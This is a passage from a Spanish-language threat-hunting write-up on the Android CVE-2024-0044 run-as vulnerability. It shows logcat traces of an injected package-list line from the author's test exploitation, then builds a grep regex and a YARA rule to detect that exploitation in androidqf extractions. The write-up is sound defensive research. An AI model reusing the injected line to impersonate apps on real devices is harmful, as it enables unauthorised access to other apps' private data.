01-10 10:36:56.880   530   576 I am_wtf  : com.example.vulnerable0 10147 1 /data/data/com.example.vulnerable0 default:targetSdkVersion=28 none 0 0 1 @null drops manifest attribute android:installLocation in base.apk for org.fdroid.fdroid]
01-10 10:50:53.694   530   575 I am_pss  : [5708,10147,com.example.vulnerable0,23149568,8077312,12436480,63651840,0,15,2]
01-10 11:15:35.060   530   575 I am_pss  : [5708,10147,com.example.vulnerable0,23387136,8097792,12472320,63651840,0,15,0]
$

  ¡BINGO! Podemos ver cuatro referencias a nuestro exploit: dos con un log level E de PackageInstallerSession y otra de nivel I con el tag am_wtf. En ambas se muestra la línea completa inyectada y se muestran ambas variantes del exploit con los diferentes directorios.

No sé exactamente por qué se produce este error o, mejor, esa entrada de log, pero se pueden especular varias cosas:

¿Que podemos concluir de todo esto?

–[ 0x07 Crear reglas ]—

Tenemos varias opciones para crear reglas usando la información que tenemos. Para este caso, las STIX y Yara serían las opciones más lógicas. Por ejemplo, MVT usa reglas/objetos STIX que contienen los IOCs usados en la identificación de amenazas. Sin embargo, su aplicación (en MVT) es limitada. Para nuestro caso, difícilmente podremos crear una regla STIX que funcione en MVT para detectar la ejecución del exploit que estudiamos. Además, STIX es un estándar diseñado para la descripción de amenazas de manera más contextual, relacionando patrones o indicadores con campañas, malware, infraestructura, actores, etc. Es una gran herramienta para compartir inteligencia de amenazas, pero para nuestro caso tanta sofisticación no es necesaria), ya que lo único que tenemos es el rastro de la ejecución de un exploit en un log, sin poder conectar con nada más concreto salvo una PoC pública.

Por otro lado, las reglas Yara son mucho más sencillas y se limitan a la búsqueda de patrones binarios/textuales/etc. en artefactos o archivos directamente, sin preocuparse mucho por el contexto. Son fáciles de probar y, llegado el caso, se pueden “traducir” a STIX si lo necesitáramos. Por tanto, para este experimento crearemos una regla Yara, que aplicada al archivo logcat.txt de las extracciones de androidqf busque un patrón que nos alerte sobre la posible explotación de esta vulnerabilidad.

Nuestro insumo son estas cinco entradas de la extracción de logcat de androidqf:

01-10 10:24:57.082   530   609 E PackageInstallerSession: com.example.vulnerable0 10147 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null drops manifest attribute android:installLocation in base.apk for org.fdroid.fdroid
01-10 10:24:57.085   530   576 I am_wtf  : com.example.vulnerable0 10147 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null drops manifest attribute android:installLocation in base.apk for org.fdroid.fdroid]
01-10 10:32:02.620   530   575 I am_pss  : [5708,10147,com.example.vulnerable0,22683648,8073216,12301312,63647744,0,15,4]
01-10 10:36:56.879   530   609 E PackageInstallerSession: com.example.vulnerable0 10147 1 /data/data/com.example.vulnerable0 default:targetSdkVersion=28 none 0 0 1 @null drops manifest attribute android:installLocation in base.apk for org.fdroid.fdroid
01-10 10:36:56.880   530   576 I am_wtf  : com.example.vulnerable0 10147 1 /data/data/com.example.vulnerable0 default:targetSdkVersion=28 none 0 0 1 @null drops manifest attribute android:installLocation in base.apk for org.fdroid.fdroid]

  De aquí podemos descartar am_pss que solo reporta garbage collection. ¿Curiosidad? Aquí se encuentra algo de info.

Las otras líneas dan cuenta del error que analizamos en la sección anterior y, ya que es un error que se “grita fuerte”, tal vez sea algo que debamos buscar. En esta entrada, la parte que muestra nuestra payload puede cambiar de muchas maneras: la aplicación que se pretende suplantar siempre será diferente a la de vulnerable0, el directorio data puede ser el mágico o cualquiera otro, la aplicación que se instala para disparar el exploit puede ser otra, los datos de SELinux pueden cambiar, etc. Sin embargo, algo no cambiará en esta línea: el número “1”, solo, delimitado por espacios, ya que recordemos que este “1” es el que le dice a run-as que la aplicación es debuggable.

Si podemos crear una expresión regular (re) que haga match en una línea de texto donde exista un “1” delimitado por espacios y, más adelante, el error de installLocation, podríamos aplicarla al archivo de logs y encontrar indicios de una posible explotación de esta vulnerabilidad. Podríamos buscar solo el error, pero tal vez, si añadimos el “1” a la búsqueda, reduzcamos la ocurrencia de falsos positivos.

Con un poco de ayuda de alguna LLM de confianza podemos llegar a un resultado parecido a esta re:

/1\s+.*drops manifest attribute android:installLocation in base\.apk/

 

Podemos probar esta re con grep contra el logcat.txt que contiene los errores y ver si funciona:

$ grep -P '1\s+.*drops manifest attribute android:installLocation in base\.apk'  ~/androidqf/02b274cb-e699-47ee-b29d-c28555ba4a3c/logcat.txt
01-10 10:24:57.082   530   609 E PackageInstallerSession: com.example.vulnerable0 10147 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null drops manifest attribute android:installLocation in base.apk for org.fdroid.fdroid
01-10 10:24:57.085   530   576 I am_wtf  : com.example.vulnerable0 10147 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null drops manifest attribute android:installLocation in base.apk for org.fdroid.fdroid]
01-10 10:36:56.879   530   609 E PackageInstallerSession: com.example.vulnerable0 10147 1 /data/data/com.example.vulnerable0 default:targetSdkVersion=28 none 0 0 1 @null drops manifest attribute android:installLocation in base.apk for org.fdroid.fdroid
01-10 10:36:56.880   530   576 I am_wtf  : com.example.vulnerable0 10147 1 /data/data/com.example.vulnerable0 default:targetSdkVersion=28 none 0 0 1 @null drops manifest attribute android:installLocation in base.apk for org.fdroid.fdroid]
$

  ¡Sí! Funciona.

Ahora creemos una regla Yara con esta RE y usemos el comando yara para probarla.

No entraremos en detalles sobre la estructura de las reglas Yara aquí. Está la documentación y, seriamente, las LLMs actuales hacen muy buen trabajo ayudando con esto. La regla que crearemos es sencilla y su código casi que se explica solo.

La regla se vería así:

rule CVE_2024_0044_PossibleExploitation
{
    meta:
        description = "Detect possible CVE-2024-0044 exploitation lines with '1' and dropping installLocation"
        author = "k+Lab"
        date = "2025-01-10"
        reference = "YARA rule matching in a single line an error and a number"

    strings:
        $pattern = /1\s+.*drops manifest attribute android:installLocation in base\.apk/

    condition:
        $pattern
}

  Ahora instalamos yara en nuestro computador (con apt, pacman, bajando los binarios de Windows, etc.) y probamos la regla (que en mi caso la he guardado como CVE2024-0044_possible_explitation.yar) contra un log que no contenga el error y luego contra uno que sí lo contenga. Veamos qué pasa:

$ yara  CVE_2024-0044_possible_exploitation.yar ~/androidqf/ec26255d-c592-4006-8e48-889b73f13733/logcat.txt
warning: rule "CVE_2024_0044_PossibleExploitation" in CVE_2024-0044_possible_exploitation.yar(14): $same_line contains .*, .+ or .{x,} consider using .{,N}, .{1,N} or {x,N} with a reasonable value for N
$
$ yara   CVE_2024-0044_possible_exploitation.yar ~/androidqf/02b274cb-e699-47ee-b29d-c28555ba4a3c/logcat.txt
warning: rule "CVE_2024_0044_PossibleExploitation" in CVE_2024-0044_possible_exploitation.yar(14): $same_line contains .*, .+ or .{x,} consider using .{,N}, .{1,N} or {x,N} with a reasonable value for N
CVE_2024_0044_PossibleExploitation /home/user/androidqf/02b274cb-e699-47ee-b29d-c28555ba4a3c/logcat.txt
$

  Podemos observar que en la primera ejecución solo obtenemos un warning por algo del formato de nuestra RE, pero nada más. En la segunda, ya con un archivo que contiene el error, vemos que aparece el nombre de la regla, indicando que hubo al menos una ocurrencia del patrón.

Con esto completamos el alcance de este documento, que consistía en analizar una vulnerabilidad, explotarla, buscar rastros de esa explotación y crear alguna regla que encuentre esos rastros. ¡Muy bien!

Pero, ¿qué podemos hacer con una regla que creamos después de todo este proceso?

Hay muchas opciones. Una cuantas que puede interesarnos en nuestro contexto es, por ejemplo, crear un objeto STIX2 para que se pueda usar con MVT. En este caso, esa no parece una opción, ya que nuestra regla, aunque podría convertirse a STIX, no sería soportada por MVT. La documentación sobre IOCs de MVT aclara que solo acepta ciertos tipos:

“it only supports the following types: domain-name:value, process:name, email-addr:value, file:name, file:path, file:hashes.md5, file:hashes.sha1, file:hashes.sha256, app:id, configuration-profile:id, android-property:name, url:value (but each type will only be checked by a module if it is relevant to the type of data obtained)”

Tomado el 2025/01/11 de: https://docs.mvt.re/en/latest/iocs/

Para nuestro caso, tendríamos que usar la directiva file:content_ref.text, que no se encuentra entre las soportadas por MVT. Para un próximo experimento, tal vez analizando malware, podamos crear IOCs que sí sean soportados por MVT.

Por otro lado, sería ideal probar esta regla contra datasets de inteligencia de amenazas a ver si se encuentra alguna incidencia. Por ejemplo, VT Hunting de VirusTotal permite probar reglas Yara sobre varios Terabytes (!!) de datasets. También espero que esto sea material de otro experimento.

–[ 0x08 El final ]–

Update: Luego de hacer este reporte encontré que el parche aplicado en marzo de 2024 para esta vulnerabilidad no fue efectivo y fue re-parchada en octubre de 2024. Referencia.

Algo puedo decir con seguridad: hacer este experimento hizo que aprendiera un montón y desarrollara mucha simpatía por la explotación de vulnerabilidades en Android. La vulnerabilidad y el exploit que analizamos en este escrito parecen bastante sencillos en la superficie, pero si escarbamos un poco, veremos que hay muchos factores en juego para que sea posible su explotación, y entender esos factores es fundamental para poder entender las amenazas que buscamos.

Hay mucho por hacer; en este escrito solo hemos rascado la superficie de todo lo que implica cazar amenazas y tomar acciones para prevenirlas, repelerlas o detectarlas. El conocimiento técnico es clave si nuestra iniciativa es lograrlo a mayor escala.

Un par de enlaces que me parecen importantes:

  1. El curso MOBISEC de Yanik Fratantonio, que se puede hacer aquí y cuyos ejercicios/tareas (en forma de capture the flags) pueden hacerse en una plataforma enlazada en la misma página.
  2. El libro The Android Malware Handbook, que se puede ver en pdf aquí.

En fin, este es un primer experimento y espero que sea el principio de muchos. ¡Gracias por leer!